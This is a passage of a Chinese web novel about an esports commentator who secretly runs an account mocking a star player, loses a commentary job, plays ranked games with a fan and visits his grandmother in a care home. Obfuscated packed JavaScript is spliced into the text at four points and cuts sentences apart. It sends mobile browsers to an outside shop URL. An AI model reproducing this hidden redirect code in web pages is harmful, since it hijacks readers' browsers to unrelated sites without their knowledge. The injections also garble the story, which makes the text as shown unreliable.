陆意扬舔了下嘴唇,淡定了一下,“今天的沪宁城市赛没想到还能看到我们来自PAX战队的...”他咬了下嘴唇,“zonke大神,”他又换上标志性的笑,相当假,“看来今天的比赛含金量非常高,连观众都是顶级的。” 单人镜头定格了几秒,zonke戴着鸭舌帽,穿着一件白色的棒球服,他看见镜头还在盯着自己,他从袖子里露出几根手指摆了摆手,又一阵欢呼声铺天盖地来。 导播的镜头切回解说席面,陆意扬在心里默念,我在心虚什么。 大屏LED上开始BP画面,对于后面的补位的英雄也没这么早开始预测,这时候适合拉拉家常,与观众朋友们拉近一些距离。 “辅助位风筝战队这边选择了一个弥亚女巫,”小优显然不想观众在这种无聊的时候切了屏,“我们整个WATA2最先开发弥亚女巫的选手就是我们zonke了,六六老师,您对zonke大神当年的那横空出世的弥亚还有印象吗?” 陆意扬的嘴角僵硬地保持微笑,他自然黑过zonke玩的弥亚,而且是鸡蛋里挑骨头那么黑的,他怎么没印象,而且他当时的用词是: 「弥亚打中打成这样,对面也是菜到后厨了,收拾收拾退役吧。」 「冒昧问一下,现在猪都可以上来打比赛了吗?」 「一群假冒职业,追竞的也是有恋菜癖,都拉出去宰了。」 但是陆意扬的嘴上却是:“当然,打得非常出色,每一次的盲切都很有水准,在此之前,我根本就没有意识到,原来弥亚这样被玩家戏称为下水道英雄的还能这么玩。” 陆意扬要舔起来了。 “是的呢,看到风筝战队选择的第二手,哦,是一个中单位置的寒冰行者,说来...” 又来! 陆意扬微笑回答,“是我们zonke大神的招牌英雄,这个英雄对于选手的预判要求非常高,今天拿出这样秀操作的英雄,对自己家的中单也是非常的自信,对今天的比赛,我真是充满了期待。” 当时对于zonke那时候寒冰行者的视频,陆意扬在他的账号视频里说的是: 「现在中单都倒退成这样了吗,就夸上了?」 「对面是喜欢找寒冰的技能吧,收钱了吗?」 「其实还行,出装先出脑子了。」 「寒冰挺菜,架不住对面更菜。」 场馆内的灯光昏暗,被口罩遮掩的人不由自主地轻笑了一声。 两边选手的BP完成。 但是城市赛的水准吧就那么点,很少能有相当激烈有质量的对抗。 所以zonke发什么癫? 他似乎连他们全队都去看的高质赛都时常缺席却到这里来?难道,今天这队伍里面有牛逼的新人? 陆意扬的脑海中跑了一遍两队的队员,愣是也没发现谁天赋异禀到他亲自来看的。 比赛已经开始了,陆意扬作为今天的主解,注意力都得放在比赛上,不为别的,如果是他十八岁去参加比赛,也希望解说人员能好好解说,别见人下菜碟。 “好的,首先两个战队都ban掉了一些常规英雄,看到信仰战队是选择到了班杰跟克鲁尼,这样的话中野2V2或者是中期的资源团都可以有不错的发挥。” “风筝战队上单跟辅助是选择了钩子加小丑的组合,这个组合容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808764|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错率偏低,线上要是劣势的话,钩子很快将要失去作用,比较好的玩法是让钩子出去游走,这样能帮助他们快速地建立优势。” 陆意扬看着这个阵容都开始头痛,他嘴上是那么说,但是信仰战队明显就是经典的前中冲阵阵容,风筝还要拿这么冒险的配合出来,扛不住前期,后期对面的AD属性又比风筝高,哪怕他极力挽尊,阵容选择上都已经能预见这次比赛不到二十分钟就要结束。 陆意扬的话音未落,风筝战队的野辅视野已经暴露,想抓一手一级团是不可能了。 OB视角在寒冰行者上,关于这个中单英雄,zonke已经示范过残暴又标准的打法。 这个中单没有位移,技能也是范围伤害而且小到离谱,更要命的是这个英雄的技能还要延迟,要是一次性技能也就算了,偏偏他做伤害是需要小技能的连续叠加。 寒冰行者能站在1000单位的地方就开始施放技能,是从天而降的冰块,第一次砸中是固定伤害,非常之低,第二次按照第一次的掉血伤害开始叠加并削甲,第三次继续叠加,但是其实也只能算得吃痛,但是... 开大的情况下,他能施放七次。 连续砸中的后期可以一个技能爆死脆皮,伤害堪称恐怖到无解。 但是冰块实在很小,且这个傻逼英雄的距离越远,次数越高,冰块延迟越高。 当时zonke玩这个英雄的时候是准确预判了甚至5s、7s之后战场上各人走位,说他运气好也行,说他意识高也可,反正当时他一次性直接砸出七次冰块,后期三个小小冰块直接爆头,甚至中间的第三块与第四块他还扔了两下小兵来延续伤害。 但是风筝战队的寒冰显然不太行,他的冰块不断地被对面走位躲开,伤害无法累计,像个炮兵,但是走得又慢,已经被抓了一血。 “风筝战队可能需要调整一下,把资源配置的比重给到AD位,但是辅助跟上单要试着给信仰战队压力了。” “是的,寒冰在前期会有这样一个比较枯燥的发展期,风筝的中单位可以调整一下心态,不要着急。” 在比赛八分钟的时候,信仰战队的中野辅已经开始入侵对面野区,风筝战队的野辅相继被抓,资源像滚雪球一样席卷,这场比赛呈现信仰战队的碾压之势,估计连个漂亮的团战都见不到。 但是在场上要给足选手面子,不管是白送还是白给还是智障操作一大堆,解说只能往死里找点儿能唠的出来,搭配上一句,“还有机会。” 也恰恰是因为这样的解说,时常让人嘲讽看不懂比赛,但是那又没有办法。 未到十五分钟,整个地图都被信仰战队点了天灯,一丝机会也没有留给风筝。 第一场比赛甚至都没有给太多解说能发挥的机会,聊得最顺畅的都在bp上了。 第一场比赛结束,风筝战队的队员们脸色不佳。 陆意扬与小优握手,从脚边拿着保温杯喝了一口,走出了玻璃房,下一场比赛大约十分钟之后开始。 陆意扬来到卫生间想洗个手,抬头的时候从镜子上看见了他身后的zonke。 嘶。 他戴着棒球帽,旁若无人地走了过来,站在陆意扬的身边洗手,二人中间只有半个身位,甚至他身上淡淡烟草味都能闻到。 陆意扬扯着纸擦手,眼神不经意地流露到对面镜子里的人,却没想到对上了他的眼睛。 陆意扬微一皱眉,礼貌点头示意算是打招呼了。 他还在盯着看... 那眼神什么意思啊? 莫非...他认出来了? 前面在喊他,来不及细想陆意扬匆匆擦完手,疾步回去解说席。 5. 我中奖了 zonke来沪宁城市赛的消息在微博发酵,沪宁的粉丝们纷纷前往城市赛的现场,从最开始没什么人买票的情形一下子就变成一票难求。 zonke的成名史说来也不清白,前身也是一个见人就solo的小疯子,给人一种想红想疯了的即视感。 这会儿城市赛的场馆从最开始不到三分之一到现在已经坐满了大半,门口还在继续往里面进人,陆意扬刚到解说席坐下,工作人员就匆匆过来,蹲在陆意扬的脚边。 “怎么了?”陆意扬躬身问。 “呃...”工作人员张了几次口,说道,“那个...就是有特殊情况...我们...” 陆意扬克制了自嘲的笑,为难打工人没一点意思,他拎着自己保温杯,低头询问,“没关系,工资是现在结给我吗?这是我打车过来的截图。” 工作人员赶紧点头,有点儿感激地说,“真是谢谢您了。” “没事儿。” 有事也没用啊。 陆意扬与边上的小优握手,“期待以后能再跟您合作。” 他将工作牌摘下,随手扔在桌子上,从场馆的后门离开这里。 陆意扬回头再看场馆,忽然有些不明白。 路上已经开始堵车,连滴滴都打不着。 他匆匆地往前面去,似乎离这里远一点,他就能离委屈远一点,人气高了被换人无可厚非,这有鸡毛好委屈的,有一点不甘,就一点点。 陆意扬戴了一顶跟了他很久泛灰的棒球帽,边走边按自己的手机,这里不好打车,得往前面走一大段路,估计坐地铁还会更方便一点。 他手机上的微博给他推送: #PAX-zonke 沪宁城市赛# #PIK-Tico处罚公告# 他看都不想看,反正WATA2反反复复就这些破事儿。 「周围有人向你求购沪宁城市赛门票,快去看看吧!」 陆意扬看见闲鱼的推送,此刻在心里我草了一声,早知道跟那个工作人员要几张门票了,他的理财嗅觉还是太差了。 他点进去一看,下面都还有人求票加价,他嘶了好几声,感觉自己错过了大便宜,他往下滑,又看见:【有在沪宁城市赛现场的吗?求zonke的签名或者周边!加大米!】 啧,陆意扬拧了下眉毛,又一次感叹自己没有生意头脑,一般来讲,他们作为工作人员是不可以在工作场合要求合影,签名这些东西的,但是下了班的话,这些倒是蛮随意的。 早知道在厕所会晤的时候跟他要个签名了,这扭头就是钱啊。 被换了就算了,这大好的机会还漏,陆意扬都有点要拧自己大腿的意思,他在心里暗暗发誓,以后一定要随身携带zonke的照片跟马克笔,他就是个邪祟,带在身上那就能击退别的邪祟,然后有机会还能叫他签名卖钱,真是一举两得。 陆意扬没想过贩卖别人的签名照,这多少像个不要脸的黄牛,但是zonke除外,人要是能从讨厌你的人身上赚到钱,那就是——本事。 陆意扬曾几何时也是个皮薄体面会害羞的美男子,虽然他自己都快忘了,现在的他是又抠又狗,但也自洽得蛮好。 天渐渐下起雨来,这破天气真是够了。 陆意扬也没伞,他只能匆匆跑进不远处的网咖。 那头在打城市赛,所以网吧里面也没什么人,他开了机器,找了一间最远的带窗户的包间。 这网吧的包间也是够随意的,屏风一拉就算隔断。 陆意扬今天要解说,穿得黑西装跟白衬衫,他松开了扣子把衣服撇在靠背上,这地板他用皮鞋踩着还有点儿哒哒哒的,说来他的帽子与他着装实在太不相符。 他靠在电竞椅上,懒洋洋地歪着,看了会儿窗外的雨,这一时半会儿是走不掉了。 得了,干点活儿吧。 这还没到夏天,姥姥那头交了护工费护理费营养费一大堆的费之后,他还要管他上学生活,实在攒不下来什么钱。 到现在他的电脑都是那会儿电脑城二手淘来的,还都舍不得换,有时候他直播都不是不感谢礼物,是卡死了根本看不清。 住的那地儿的空调夏天到了贼费电还不制冷,空调年份时间有点长了。 他的判官账号没法跟官方签约底薪合同,直播内容不允许,所以是靠打赏吃饭,但是打赏吧元宝TV要直接扣走一半,剩下的一半还要过税,最夸张的还是未成年退款,有时候上号啥也没干余额变成负数了,要直播还得给自己先充值? 判官又不能让人给他转账,暴露了可太容易被寻亲了。 他咬着自己的手指,真没想到,最稳定的收入居然是给zonke做视频。 他看四下无人,他的电脑面对着墙壁,他坐在角落,鬼鬼祟祟的做昨晚没弄完的视频。 他开着他的「解说小六」的解说号直播。 找了半天终于找出来三个点,他在做最后的收尾工作。 换上AI的配音,上传就可以了。 陆意扬弄完之后切屏出来。 【六六的小粉丝:[疑问][疑问]你怎么没有解说比赛了?】 “啊,”陆意扬看见他来了,有点笑意,“没,人家...我解说得不好。” 【六六的小粉丝:你在看什么比赛,你内放没有关。】 “PAX跟INE的上周的练习赛,”陆意扬说,“瞎看看。” 【六六的小粉丝:PAX输了。】 陆意扬在这个解说号直播的时候还是很中立的,“输也无所谓,INE就是点控跟抓人,PAX的阵容其实很全面,而且是开团反打的阵容,但是INE没给正面机会,无限抓,下次给小五拿个长续航的辅助就能反打了,我觉得他们是在试练阵容,不可惜的。” 【六六的小粉丝:你对PAX有信心?】 “嗯,当然有,”陆意扬往后仰了一点儿,手搁在脑袋后面,“B哥适合这样前期队友能四打五给他发育机会的队伍,从前B哥总是被骂不打支援,其实他过去了也是陪着队友送,现在他们队伍中上都敢压制,B哥的发育比从前舒服了很多。” 【六六的小粉丝:他有点菜。】 “B哥还行吧,你要求这么高?那你喜欢哪个选手?”陆意扬想了一下,“不会是zonke吧?” 陆意扬觉得WATA2里面10个有8个会喜欢zonke。 WATA2自从商业化了之后运营变成了比赛的主旋律,敢打敢秀的就越来越少,尤其是在比赛场上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808765|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,稳如狗成了所有教练的口头禅,观众评判太多会打压选手的自信,但是精彩与输赢之间做取舍的话,zonke显然选了前者。 【六六的小粉丝:你觉得呢。】 “嗯...”陆意扬懒洋洋地说,“他还行。” 谁最清楚对家实力,最清楚对家长板,自然是黑粉。 陆意扬的手指贴着玻璃,凉嗖嗖的,外面的雨越来越大了。 他看了一眼手机,今天的解说费已经到了。 说话间的功夫,他的视频已经上传成功了。 解说界陆意扬是查无此人,但是八卦界那就是耶路撒冷。 他看着他羊崽账号的访问量又蹭蹭地上涨。 【PAX俱乐部是吃屎的吗?这主播都黑这样了也不下架视频?】 【有什么好下架的,不是说的很中肯吗?怎么都得舔才行啊?】 陆意扬查看视频数据的时候看见他一串代码的民间大哥又开始了新一轮的「点一轮」玩法,就是将元宝TV所有的礼物全部都点一遍,就能开启这个视频的「礼物收藏馆」特效,全点一遍得五万打底,他的民间大哥还会因为他的视频没有上视频热度榜第一偶尔点两轮。 自然,也有其他的小主播跟风去黑zonke的,但是他的民间大哥从来都没有看过他们一眼,反而要被zonke的粉丝围攻,没办法,羊崽的「粉丝」只有在这个时候跟zonke的「粉丝」就会出现「团结」的一面,颇有在家争父子,打架亲兄弟的味道。 他们统称模仿羊崽的为「跛脚羊」,随时准备狙人,他们在这个时候会把辱骂的技能拉爆,也唯有这种时刻,陆意扬能微微感受到网络带来的温情。 【你这个畜生挣钱比我输钱都难受。】 【羊崽:又能挣钱又能让你生气美滋滋^-^】 【好想看你开专场,我现在就网恋骗炮以身入局。】 【羊崽:你可以以死入局我给你开全网追悼会>u<> 【zonke这把打得这么秀还要黑?恰烂钱司马。】 【羊崽:不恰烂钱你就没爹了^3^】 陆意扬刚准备把手机关上,看一下这次秋季赛的解说报名,特殊铃声响了,[特别关注]的推送来了。 陆意扬点开一看。 zonke发微博了。 是他之前代言起电竞椅,但是这个不是发过了吗? 这都是广告,这些商务代言一般都是他们经纪人发的,但是陆意扬是不会错过任何一个显眼的机会。 所以热评第一是陆意扬的。 【轮椅很不错,已经收到咯,敏感肌能用,孩子也爱吃,支持zonke哦!】 然后附上一张下单又秒退的截图。 新微博是: 【PAX-zonke:恭喜@羊崽@爱吃老鼠药@Daddy@欧气满满12138四位用户抽中了由力风携手品牌挚友PAX-zonke送出的人体工学108Zi电竞椅,并附赠签名照片一张! 力风王座启航,助力热血WATA2,感谢微博官方唯一抽奖工具@微博抽奖平台对本次抽奖进行监督,结果公正有效。】 ? 拼多多说得对—— 我果然是最幸运的人! 6. 解说招募 【眼红,今日我将日抛全妆不拍照。】 【别做傻事,日子还长。】 【这结果认真的吗?这是黑粉...】 【什么黑粉啊说得这么难听,帮助zonke进步也不行吗?】 【真是又当又立,谁看不出来羊崽把zonke当摇钱树?】 【你打电话让zonke举报不就完了吗?】 【这是微博抽的,你管微博去呗。】 陆意扬眼见他们又要吵起来,遂火上浇油,转发了这条中奖微博: 【羊崽:太宠了没办法[摊手],爱你啵啵@PAX-zonke,值此佳节抽5个倒霉蛋倒贴给我钱。】 陆意扬发完微博又切出来看自己的直播界面。 【六六的小粉丝:你需要打排位吗?】 陆意扬差点把正经事给忘了,他找下了群聊。 “稍等,我看看。” 【WATA2解说预备3群: WATA2秋季赛赛事解说招募要求: 1:WATA2游戏国服战力1000(含)以上。 2:具备数据项专业解说,强数据分析能力;WATA2游戏退役选手,教练或相关职业经历更佳(无竞业协议)。 3:身体健康,形象正面,游戏行为友好端正。 4:热爱WATA2以及赛事,年龄在18-27岁。 WATA2赛事解说招募流程: 1,报名:请根据实际情况选择相应渠道。 2,报名时间:3月16日-4月24日 3,简历筛选:请确定自己的报名信息,由官方统一进行筛选,通过后安排线下面试 4,面试地点:线下场馆(详见官方信息通知,请保持联络通畅) 5,赛事特定见习:5月上旬参与到官方赛事进行实战解说 官方招募令正式开启,欢迎您的加入。】 陆意扬看了一圈,就只是卡在第一条。 “得1000啊战力,”陆意扬拧着眉头说,“这个要是单排的话真的有点来不及,而且我这个号的加成不太够。” 【六六的小粉丝:试试。】 “今天我倒是在网吧,下雨了走不了,能玩一会儿,我晚点还有事儿去,”陆意扬犹豫了一下说,“但是我玩得不太好。” 他自嘲地笑了一下说,“怕坑你呢。” 【六六的小粉丝:没事。】 陆意扬上了号,c了房,“能看见房间号吗,进来吧。” 【N进入了房间。】 “能说话吗?”陆意扬问,“没麦的话游戏打字也可以。” 这儿的网吧还好有一次性耳机套,不像陆意扬年纪还小的时候,那会儿的网吧都脏,耳机根本没法戴,还得在中间夹着纸巾,打起来太激动了也不知道什么时候掉了。 “解说的报名战斗力都要这么高,”陆意扬说,“不行还得去找陪玩一起上分了。” 【N:不好意思,没麦。】 “没事儿。”陆意扬说,“ 就这么玩吧,你开队伍内语音就行。” 那样的话说话打字就两个人能看见。 他好久没跟人一起打游戏了,手生得很。 进入了BP。 “你玩什么位置啊,我是个手残,给你打辅助吗?”陆意扬问。 【N:你随便拿。】 “喔,”陆意扬说,“看起来能带我飞呢小粉丝。” 【N:应该可以。】 “好自信,”陆意扬在一位,随手ban掉了两个强势的英雄,“我给你拿个中单吗?” 【N:好的。】 陆意扬想看看他的小粉丝到底有多少水平,要是实在不怎么样人家这么热情邀请他要带他上分,大家都会痛苦,所以第一把就给他拿了一个劣刀魔人。 劣刀魔人这个英雄在WATA2里面常见于SOLO赛,最能体现个人能力,该英雄的三个技能都是一样的,施法全靠手感,在英雄的正对面60,120,180单位根据WER操作放出炮来,换言之,特别容易放空,最常见的坑逼或者新手跳过去放反了也很正常。 这个英雄还没有位移,躲技能全靠走位,还是个脆皮,听起来一无是处,但是附加属性是强有力的削弱护甲,玩得细节的都会平A一刀之后再给技能,玩的秀的劣刀魔人前期压制都能非常强势,没有英雄能在他的前期抗住他的完整三炮,他一级就能压三炮。 “这个能玩吗?” 【N:会玩一点。】 “行,”陆意扬选了个闪星魔女,这东西有手就能玩,骑着一个兔子萌萌哒,挥舞着手里的魔法棒就给人加血,弱智又好用。 二人进入游戏,陆意扬跟着打野在野区蹲一下人,扔几个技能,路过AD的时候给他加了一管血,他做的灯有敌野辅的一点点视野,但是看着各位都没有gank的打算,就打算去上路了。 游戏时长才到三分钟。 【N[劣刀魔人]:来。】 他点了一下陆意扬的兔脑袋。 “才三级啊,干嘛?”陆意扬说着话倒是也往河道走,带了灯就往BOSS坑边上做视野,把灯往刁钻的地方挪。 N绕着BOSS坑过去,对着野坑直接盲R。 【第一滴血!】 “嗯?”陆意扬跟在他身后,“不错啊。” 【N[劣刀魔人]:视野做得好。】 陆意扬看着他用鸟送完跳石,用鸟在敌野区绕,有人!他也见了鸟。 一瞬陆意扬给他套上魔法免疫同时就见他跳了上去,一发E炮正中对方脚下,但是敌野还有一点血条,扔出的技能小粉丝却没躲,残血的吸引力太大,敌野还想近身,却见小粉丝移动平A边走边退,利用范围性的削弱护甲在他身边的野怪平A一刀,接着一个W再次补上。 玩得相当细节。 闪星魔女给他加了血条,见他继续往前走。 走到中路越塔小粉丝吃了一波兵线,摸黑又进了二塔下的野区,与对面C中辅三人正面相遇,陆意扬只能跑前去吃伤害,却见小粉丝卡着视野将劣刀魔人的长手优势放到最大,一个大招削减对方多名护甲,先将对面残血辅助平A收走时候又一炮压死了对方中单,陆意扬给他加血加魔免,快死的时候交换位置,对面的AD想拿到劣刀魔人高额的赏金,却也被他绕树溜死。 死亡通报开始刷屏。 二打三打出了零换三。 “可以啊。”陆意扬说,“你多大了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808766|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【N[劣刀魔人]:19】 “年纪这么小,打得真不错,可以考虑打职业,”陆意扬嘶了一声说,“你不是喜欢zonke吗,打两年完全可以跟他同台竞技,不能比他差。” 【N:他也一般。】 “对啊,”一说到这个陆意扬就来劲了,“他最开始玩得真狗屎,你去看他当时的注册选拔赛,那失误都没眼看,比如跟CIA打的时候,操作真的丑陋,他的比赛,我基本全看了,虽然他solo榜第一吧,但是那东西有多少含金量啊,我...” 陆意扬说到这里就感觉自己的嘴有点碎了。 他从前也特别爱玩solo,也曾站在solo榜第一的位置,当然,都过去了。 【N:你记得很清楚。】 “呵,”陆意扬冷嗤了一声,“我最关注的选手。” 【N:哦。】 下路的团战开启,闪星魔女往前跑,自家的AD出装备出得跟弱智一样,但是陆意扬秉承着相逢是缘的宗旨也给他加了一波血。 前面的小粉丝已经追着残血给到视野,对面的支援来得更快,AD感觉自己行了不断地开始指挥起来,呲呲拉拉的电流麦刺痛人的耳朵。 陆意扬盯着劣刀魔人,不断地给他套技能,但是对面的针对也很明显,小粉丝躲过范围伤害却躲不过指向性伤害,小兔子开启大招交换位置又闪跳双双逃亡,把AD卖了。 此时自家AD在语音内: “兔子你会保人吗?后期了你还不保我?” “这把谁是大腿你看不见吗?” “到后期了还保中单干什么!” “你看不见灯都没了吗?没视野我怎么输出?” “把视野做上啊,辅助玩得真蠢,不做灯你玩鸡毛?” 他看得懂游戏吗? 终于: 【N:能玩玩,不玩滚。】 看吧。 WATA2就是一款神奇的游戏,纵是他那斯文又内向的小粉丝也会出口成脏,陆意扬觉得那些太内向的人都应该来玩这个游戏,扔进低分段不出一个月个个祖安带刀武僧。 但是受到了羊崽账号的污染,这点攻击在陆意扬眼里都不够看。 “别跟他计较,”陆意扬说,“咱玩咱自己的。” 【N:嗯。】 AD很是不爽,还在喋喋不休,二人都闭了游戏里的麦克风。 陆意扬感觉他的小粉丝玩得不错,甚至给他一种自己要是现在玩个打野也能跟他配合上几回的错觉来。 怎么年纪大了,还热血起来了。 “小粉丝,”陆意扬随便找话题跟他聊,反正双方的经济差跟人头差也拉开了,说,“我感觉你打得蛮好的,我想报名秋季赛的解说,找你陪练的话行吗?” 【N:可以的。】 “但是,”陆意扬说,“可能只能按陪练最低的小时费算给你的,是60一个小时吧?” 【N:。】 【N:不用】 “别这么说,”陆意扬严肃起来,“虽然你是我的事业粉吧,但是...不好占你便宜的,不然咱两玩不了。” 【N:。】 【N:......你可以教我出装备吗?】 7. 滴滴师傅 第二把游戏很快就开始了,陆意扬选了个打野,小粉丝拿了个中单。 陆意扬选的这个打野标志性的技能是E,能踢出去一个单位,该单位撞出去造成眩晕,踢谁都行,敌我不分。 小粉丝选的这个寒冰,技能是范围的,还需要预判,陆意扬按了好几次F3的数据面盘,小粉丝的补兵很扎实,正反比遥遥领先,对面的中单被他压得等级都差了两级。 陆意扬认认真真地打野,小粉丝还往野区扔冰块来让他的打野更舒适。 六级了,陆意扬刚想想叫上小粉丝,就看他已经从中路游走过来了,本来这个高地需要绕一下,但是陆意扬一脚E就把寒冰踹上去,然后自己也W无视地形冲了上去。 刚踹上去就发现中单算着时间给他们落地的地方扔了冰块,贴脸就开始输出了,他认真地回防,刚把人踹回来又看见小粉丝似乎早就看准了他会这么做,冰块已经往下落。 “你能预判我往哪踹?”陆意扬蛮高兴,他好久都没跟人打过这样的配合,觉得有意思的很。 【N:乱玩。】 “还谦虚起来了,”陆意扬说,“咱俩这配合能把他们野区捅穿。” 死亡骑士跟寒冰行者一起往家里补给,陆意扬好几次都想踹他,但是他的走位总让这个小技能差一点点身位。 【N:手疼吗?】 “还成。”陆意扬跟小粉丝呆得久了,之前也无意中提过他的手不能经常玩游戏,时间长了就会疼。 【N:疼就不玩。】 “知道。”陆意扬的心思都在怎么玩好打野上面,带着自家的打野TP出来之后就往下路走,陆意扬的gank意识依然在,其实他从前还是会打一会儿游戏,只是打得不好就跟自己过不去,闹脾气似的就直接退出结束游戏。 但是这个寒冰陆意扬真是很满意,他绕着陆意扬给技能,跟死亡骑士背上多出了爆炸法师输出似的,没一会儿,陆意扬的战绩来到了14/3/7。 “嘿我这打野,行不行?”陆意扬歘歘地在寒冰面前晃悠,绕着他打转。 【N:嗯。】 第二把很快就结束了,陆意扬还拿了个MVP,靠,好陌生。 第三把很快就又开了,跟小粉丝玩得感觉自己的网瘾都上来了。 但是右手手腕开始疼,他只能选了个辅助不坑人。 “这把打完我要出去一趟,”陆意扬说,“你自己玩会儿还是?” 【N:我也下了。】 “好吧,”陆意扬退出他开的一些直播软件,“我晚上回来的时候叫你,你有时间吗?” 【N:有的。】 陆意扬悻悻地说,“今天的分加得好少啊,一把就加一点点,这狗贼游戏真是什么加成都得花钱买。” 【N:嗯。】 “行,我走了啊。”陆意扬起身,这把刚结束,他往头上扣了一顶鸭舌帽,踩着他死硬的皮鞋往外走,早知道就解说那么十几分钟,都不掏这装备出来了。 他在吧台上退了卡上的余额,往楼下走。 这网吧跟KTV共用一个电梯,壁上做了钱柜常见的能看见自己的暗黄色镭射墙面,陆意扬今年二十三,他走得松快又挺拔,但是仔细看他潦草又落魄,他草草地看了一眼自己的影子,一溜烟地就下了楼。 他姥姥住在沪宁山岚一个疗养院里,死贵。 按照陆意扬现在的经济状况来说他姥姥应该懂点事,体谅一下家里面,但是他姥姥的脑子早都不好了。 她住在这里多年已经住习惯了,之前陆意扬没钱的时候也曾换过地儿,老太太迷糊了,不吃饭,住不惯,不配合护工,血压一直都下不来,没到一天,陆意扬又把她送回来了,总不能老都老了,到陆意扬的手上了人生最后阶段都还得遭罪吧。 其实疗养院的费用都还好,前两年脑溢血的时候才是真没少花钱,要不然也不会去卖号。 还好有医保能报销一部分,不然陆意扬两眼一闭跟他姥姥走了得了。 陆意扬从前是个少爷,家里出事之后他爹的合伙人卷钱跑了,家里的房子也被拍了,除了他自己什么也没剩下,说来也就是几年前,怎么就感觉隔了一辈子。 陆意扬进了边上的药商,他给老人买的都是一些有点贵的燕窝,其他的营养品他都没看,反正不管买什么营养品他姥姥都会吹毛求疵。 打了一辆车去往疗养院,他上了车,今天起得早,还有点儿犯困,他轻点着自己的脑门,看着窗外的风景,三月的天气也够烦人的,中午那会儿会热,晚上又冷得跟冬天一样。 红灯,身边停了一辆骚车,他收回了目光,微不可查地吞咽了一下喉结。 边上的这车的座椅有点硬,方向盘也蛮重的,新车二手价格将近差了一半。 他以前也有。 只是现在没了。 他搓着自己的手指,低头去看他的特别提醒又来了。 在他新做的视频下面这一会儿就叠了不少楼出来。 【PAX-zonke:你说的问题我会注意的。】 刚刚的的矫情难受又忘了,直接开启战斗模式。 【羊崽:您的心态真好[爱心][玫瑰]。】 【PAX-zonke:谢谢。】 这人听不出来好赖话,像个人机。 【哪怕是黑粉我们zonke宝宝都能客观面对,呜呜未来可期QAQ。】 【可期尼玛,玩得死鸡儿菜的,春季赛打完收拾收拾回家吧。】 【小牲口,爸多说两句别嫌爸唠叨。】 【羊崽:我给你两刀让你爱上/你爸的霸道[玫瑰]。】 【小牲口的嘴真是淬毒了你不怕把你自己毒死吗?】 【羊崽:你都没怕把自己丑死我怕什么?】 【我室友快死了,死前...就想吃羊肉串,你能割肉还父吗?】 【羊崽:阑尾给你吃么么哒。】 陆意扬的刻薄其实也是他这帮[粉丝]...算了,这算什么粉丝,从前陆意扬也骂不过他们但是现在的已经是甘露寺深造后的钮祜禄扬了。 关键吧,他还设置了只有他的粉丝能发评论,从这儿毕业出去的优秀学生分布在WATA2大陆的各个角落,带着[唯爱咩咩]的牌子,牌子越高,战力越强。 陆意扬随手一滑,这么多的牌子都是他打的江山。 半个多小时,绕到沪宁郊区的小山岚之后,出租车就不肯往前走了,这地儿单行道,下来得绕好远。 陆意扬也没为难人家,下了车就往山坡上走。 这会儿下午五点多,两边的树荫还不是特别遮人,雨打湿了路面,有点泥土味儿混着雨后的青草味儿,陆意扬拎着东西往前走。 在电脑面前坐多了,上个小山坡都有点喘,到了疗养院,他轻车熟路地绕过走廊来到房间,这儿朝南的房间还得加钱,就为了这个小露台。 他先看了一下尿不湿的质量又打开保温杯闻了下味道,摸过被褥之后,老太太都没醒,她在暖色的灯光下发出轻微的鼾声。 他妈妈长得跟姥姥很像,只是没机会看见他妈妈老了的样子。 陆意扬轻手轻脚地坐在藤椅上,但还是发出了吱呀的声音,他搓着手指看着自己家的老太太睡觉。 他起身把窗户关小了一点,今天的天黑得格外快,一会儿可能还要下雨。 陆意扬今天起早了,坐在小露台上就犯困。 摇醒他的是老太太的护工,从前也是在陆意扬家里做的,喊他扬扬,算半个亲人。 “胃口还行?”陆意扬轻声地问。 “还行,你早点回去,晚点要下大雨。”芳姨说。 “嗯,那个钱我汇过了,”陆意扬睡得眼睛都发红,声音也有点哑了,“还有什么钱要交的,你微信发给我就行。” 芳姨只是点点头不说话。 “行,那我撤了。”陆意扬睡冷了,被风吹的,有点鼻塞,说话带着鼻音,“走了芳姨,您多费心。” 陆意扬腿也睡麻了,有点儿一瘸一拐的,回头又瞧了老太太一眼,往疗养院外头走。 这地儿太偏了,陆意扬打着滴滴,好久都没车,但是他对这样的情况也已经习惯了,他只要往前走二十多分钟,就有小黄车,然后往前再骑个十多分钟,就有公交车。 陆意扬在林荫道里面走了一会儿,天已经完全黑了。 等他出小道的时候才发现,外面的雨已经下得相当泼辣了。 那就只能等。 陆意扬站在大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 